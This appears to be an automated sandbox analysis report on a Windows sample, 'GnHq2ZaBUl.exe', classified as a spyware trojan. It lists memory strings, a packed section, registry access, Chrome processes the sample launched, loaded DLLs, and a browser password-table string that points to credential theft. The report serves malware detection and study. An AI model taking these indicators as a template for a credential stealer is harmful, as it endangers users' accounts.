Source: GnHq2ZaBUl.exe, 00000000.00000003.2315861240.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2344347873.00000000056A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2311833770.0000000005B75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2313846065.0000000005AD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2323742671.0000000005C71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2344409577.0000000005611000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2312492565.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000002.2468354961.0000000005F73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2311944212.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2316011409.0000000005BE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2321987921.0000000005B2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2313175656.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2328800730.0000000005B54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2318704217.0000000005A08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2320366687.0000000005C43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2319835760.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2328641365.0000000005A07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2344507703.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2308526814.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2313343556.0000000005ACA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2311137742.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2313495775.0000000005BA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2309710032.000000000586D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000002.2467263657.0000000005B06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2314278073.0000000005AE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2317414284.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2314077618.0000000005A0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2309596818.0000000005B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2325109014.0000000005A07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2321417942.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2323435964.0000000005B3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2311246899.0000000005A12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2328953163.0000000005CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2311357909.0000000005AC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2317677006.0000000005A15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2311590213.0000000005A08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2318493513.0000000005B15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2329110161.0000000005A0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2327980594.0000000005A06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2328295206.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2314897530.0000000005AEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2315031223.0000000005A06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2323183549.0000000005A0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2323965042.0000000005A12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2315440463.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2309910460.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2318151960.0000000005B10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2312381414.0000000005B7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2312044187.0000000005ACF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2312149730.0000000005A07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2310099402.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2326571815.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2318320873.0000000005A0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2316703064.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2321573639.0000000005B33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2310294772.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2320731502.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2322391044.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2307003737.0000000005742000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2323030715.0000000005B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2310579975.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2326115071.0000000005C83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2319172467.0000000005A07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2325694078.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2322876954.0000000005A0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2324183781.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2308440155.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2312267924.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2315304281.0000000005A08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2320549080.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2313662888.0000000005A08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2311699276.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2314511863.0000000005A15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2320096898.0000000005B21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2308347787.000000000586B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2314632393.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2315174558.0000000005AEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2316161144.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2319397219.0000000005B0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe
Source: GnHq2ZaBUl.exe, 00000000.00000003.2315707631.0000000005A06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs GnHq2ZaBUl.exe

Source: GnHq2ZaBUl.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: GnHq2ZaBUl.exe

Static PE information: Section: ZLIB complexity 0.9995978860294118

Source: GnHq2ZaBUl.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/67@9/5

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GnHq2ZaBUl.exe, 00000000.00000003.2106498273.000000000556D000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2129460859.0000000005572000.00000004.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2106370612.0000000005588000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: GnHq2ZaBUl.exe	Virustotal: Detection: 52%
Source: GnHq2ZaBUl.exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

File read: C:\Users\user\Desktop\GnHq2ZaBUl.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GnHq2ZaBUl.exe "C:\Users\user\Desktop\GnHq2ZaBUl.exe"
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=2000,i,13436707777172459125,8662691406262095616,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1980,i,3051429625471405464,5481081357581639420,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=2000,i,13436707777172459125,8662691406262095616,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1980,i,3051429625471405464,5481081357581639420,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Section loaded: wkscli.dll	Jump to behavior
